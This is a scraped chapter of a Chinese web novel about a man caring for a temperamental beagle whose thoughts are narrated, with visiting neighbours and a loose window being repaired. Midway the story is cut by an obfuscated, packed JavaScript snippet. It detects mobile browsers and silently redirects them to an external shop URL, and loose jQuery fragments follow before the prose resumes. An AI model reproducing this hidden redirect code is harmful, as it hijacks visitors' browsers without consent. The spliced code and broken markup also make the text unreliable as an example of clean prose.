文趣网 > 其他小说 > 如何饲养作精比格 > 16. 第16章
    看着趴在胸口闷闷不乐的毛脑袋,傅砚川想起小意叼走的药瓶,忍不住问:“小意,你把药藏在哪里了?”

    平地惊雷,一人一狗间短暂的平和破裂。

    毛脑袋猛地抬起,阴沉沉瞪着他。

    听傅砚川和徐叔交代始末后,裴意然才知道是自己误会傅砚川了。

    他恶狠狠咬住傅砚川胸口的衣服,把问题推到傅砚川身上。

    都怪傅砚川不早和他解释清楚。

    害他闹了这么大笑话,还摔得脏兮兮的。

    “不告诉你。”

    他忍住没有扇傅砚川,怒气集中在齿间。

    一时用力过猛。

    人类衬衫的纽扣应声绷裂。

    傅砚川看着毛脑袋毫无预兆生起气,在他胸口重重踩了一脚后,跳下床往外跑。

    裴意然没有跑远,贴着门框等徐叔,探头探脑往外瞧。

    躺在床上休息的人类追了出来,步伐匆忙,脸上难得透出一丝焦急。

    看见小狗并没有走远,而是待在门口时,脚步渐渐慢下来。

    他视线下垂,语气变得柔和,“小意,外面地还是湿的,今天就先待在家里玩好吗?”

    裴意然眼神奇怪地看了傅砚川一眼。

    他又不瞎,他当然知道外面地是湿的。

    本来他也没打算往外跑的,但是被傅砚川提起后,他反而生出一种自己在听傅砚川命令的错觉。

    可傅砚川凭什么命令他?

    傅砚川算什么?

    他还偏偏就要出去玩,他才不听傅砚川的话。

    当着傅砚川的面,裴意然往外走了两步,极其刻意地抬起一条前腿,扭头挑衅傅砚川,“我走了!”

    听到小狗兴奋的叫声。

    傅砚川却只是抿着唇,脚步顿顿,在距离小意不远的板凳坐下。

    没有出声挽留,而是定定注视着他。

    裴意然没有从傅砚川脸上看到满意的反应,不满意努起嘴,拔高声强调:“我真的要走了!”

    他又试着往前跑了两步。

    傅砚川还是一动不动坐在板凳上看他。

    甚至发现比格犬频频向后看时,嘴角抿出一丝熟悉的浅笑弧度。

    裴意然严肃盯着屋里的人,怀疑这也是人类的计谋。

    书到用时方恨少。

    裴意然根本不知道具体是哪一招,只是本能觉得有诈。

    他才不会上人类的当。

    他高高扬起脑袋,立刻就要跑。

    刚从傅砚川的视线里跑开,小狗正巧撞上买药回家的徐叔,紧急刹车。

    徐叔顺势弯腰,摸摸小狗的脑袋,说出和傅砚川一样的话,“小意,外面地是湿的,今天先在家里玩吧。”

    他果然中计了。

    裴意然摆臭脸,酝酿着怒意,脚步沉沉跟在徐叔身后回家。

    跨进门后,裴意然一眼看见还坐在原地的傅砚川。

    对方发现他,眼底含着温和从容的笑意。

    徐叔走进门,看见傅砚川在外屋,面露诧异,“怎么不去躺着休息?”

    “有点睡不着。”傅砚川语气如常。

    徐叔没追问,把药递给傅砚川。

    本着帮忙帮到底的原则,转身进厨房去烧热水。

    傅砚川利落吃完药,视线飘往磨磨蹭蹭赖在门口的小狗身上。

    顶着傅砚川的视线,裴意然心不甘情不愿挪到他身边。

    将爪子上刚沾到的水擦到傅砚川鞋子上后,又往他小腿踹了一脚,才稍微气消。

    可恶的人类。

    傅砚川垂眼看着他,不仅没有生气,眼底的笑意反而愈深。

    裴意然感觉好诡异,悄悄往边上挪,和傅砚川保持两米宽的距离。

    余光瞥见门口忽然映下的人影,小狗敏锐回头,视线紧随而上。

    董婶走进屋,熟稔地把手里的菜放到桌上,看到傅砚川身旁桌上的药,关切问:“小傅,你是不是感冒了?”

    “还好。”傅砚川和她道谢,瞥见菜上晶莹的露珠,一看就是刚从地里摘回来的。

    他语气无奈,“董婶,上回送过来的菜还没吃完,您不用总给我送的。”

    “没事,吃不完也是给牲畜吃。”董婶为人直爽,往腿边的小狗脑袋上摸了一把,又道:“你不舒服这两天就别自己做饭了,来婶家吃,做两个人的饭和一个人饭没区别,多你不多。”

    不等傅砚川回话,她看见端着烧水壶出来的徐叔,又起调:“老徐,你今儿下午也别忙活了,来我家一起吃啊。”

    “行。”徐叔没推脱,爽快应下后,将水壶放在桌上,“我那还有瓶酒,正好带来一起喝。”

    董婶也笑,“那你得尝尝我们自己酿的,味道可不比外面买的差。”

    徐叔笑着点头。

    董婶有活要干,先一步离开。

    临到门口,步子一停,手一拍,“哎呦瞧我这记性。”

    “差点忘了,”她往左边瞧了眼,手也跟着往那个方向指,提醒傅砚川:“小傅,你家那窗户松松晃晃的,得找个时间修一下。”

    “好。”傅砚川记下了。

    董婶消失在门口。

    裴意然好奇心起来,忍不住跑出门,去看董婶说的破窗户。

    说是窗户。

    其实指的就是木架。

    木架靠两片合页固定在边框上,经历一夜风吹雨打,上方的合页松动,木架半掉不掉,挂在边框上。

    风一吹,木框就晃动,发出咯吱咯吱的响声。

    小狗站在窗下,脑袋跟着木框一晃一晃。

    无声叹息。

    他跟着傅砚川真的过得很差。

    窗户随时有掉落风险。

    傅砚川眼皮一跳,把看热闹的小狗抱走。

    裴意然朝傅砚川呲牙,“不准抱我!”

    他还没有彻底原谅傅砚川,傅砚川暂时没有抱他的荣幸。

    他在傅砚川怀里扭动,但小狗体型的力气太小。

    挣扎许久,还是被人类稳当当按在怀里。

    “……”

    裴意然绷起脸瞪他,爪子抗拒地按在人类胸口,不许人类离自己更近。

    身体靠着人类手臂向后仰,身体力行表达自己的嫌弃。

    感受到怀中的动静,傅砚川一低头,就看见小意气鼓鼓的模样。

    脸上浮现出熟悉的浅笑,“小意啊,要摔了。”

    “那还不赶快松开我。”裴意然理所当然地命令。

    徐叔也忍俊不禁,“好了好了,放小意下来吧。”

    裴意然有脾气,一落地,头也不回往屋里跑。

    隔着一堵墙,听到屋外两个人类在聊修窗的事。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810591|210818||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    地面的湿痕渐渐消失,空气仅凉快上午一小阵,又恢复闷热的状态。

    阳光斜映到家门前,雨后的阳光比平日里的更干净更明亮,乍看过去十分晃眼。

    裴意然在外屋踢竹球,抬起脸能看见窗外两个修窗户的人类。

    他觉得这扇破窗没有修理的必要。

    人类却大费周章借来工具,在窗口敲敲捶捶制造噪音。

    裴意然被扰得无法集中注意力,一时脚下用力,球撞到墙壁弹开,骨碌碌滚到角落。

    他回过神,顺着球消失的方向跑。

    球沿着墙壁滚到冰箱与墙壁的缝隙里,裴意然钻不进去,只能伸出爪子去够。

    脸被缝隙挤得皱巴巴,前爪绷紧,努力往前伸。

    小狗贴着墙壁,屋外的敲打声穿透墙壁,传入他的耳中。

    墙壁仿佛在震动,连带着小狗的脑袋也一震一震嗡嗡响,耳畔的声音嘈杂,除了敲击的声音,还有似有若无的沙沙响声。

    但他的脑袋卡在窄小的缝里,无法灵活扭动。

    爪子终于落到竹球表面,他卯足力,将竹球往自己的方向拨动。

    竹球顺力滚出。

    裴意然松出一口气,正要往外撤,动作倏地一停,目光凝在墙角,眼底露出一丝讶然。

    只见墙角堆起小小一座山,而这座由碎石、沙砾构成的小山上爬满密密麻麻的蚂蚁。

    裴意然恍然大悟。

    原来蚂蚁在下雨天跑到他们家来躲雨了。

    只是这些蚂蚁和当时扛着食物搬家的蚂蚁不一样。

    眼前的蚂蚁个头更粗,颜色更浅。

    裴意然思索。

    或许,是蚁中贵族。

    他没将借住在家里的蚁中贵族放在心上。

    脑袋从缝隙里抽出的一瞬间,墙壁上的灰尘跟着簌簌飘落。

    他摇摇脑袋,将掉在脑袋上的石砾抖掉,踢着球离开。

    徐叔帮忙修好窗户后离开。

    傅砚川只身进屋,看见灰头土脸的小狗一怔。

    他放下手里的东西,大步往浴室走,打湿毛巾给小意擦脑袋,神色变得凝重,声音里透着疑惑:“小意啊,怎么弄得这么脏?”

    他耐心给小狗擦身体,悄然检查小狗身上有没有伤处。

    裴意然不懂傅砚川的隐晦。

    他听不得别人说自己的坏话,更不允许别人批评自己。

    况且他还是被牵连的,责任都在傅砚川身上。

    都怪傅砚川只做表面功夫,打扫只打扫看得见的地方,藏在冰箱后的角落堆满石屑,也没看见傅砚川去打扫。

    这才导致他变得灰扑扑的。

    这完全就是傅砚川的问题。

    他还没有发脾气,傅砚川托住他爪子的手掌渐渐下落,让他四只爪子都踩到实处。

    傅砚川问:“球要擦吗?”

    裴意然的怒气中断,犹豫几秒,伸出爪子将竹球推到傅砚川鞋边,不过爪子仍然踩在球上,没有立刻收回。

    警惕地看着他,“擦完你要立刻还给我。”

    语言不通。

    但傅砚川因为这颗竹球被小意揍过好几次。

    吃一堑长一智。

    他和小意保证:“擦完就会还给你。”

    仰头看他的小狗这才满意,毛茸茸的爪子从球上挪走。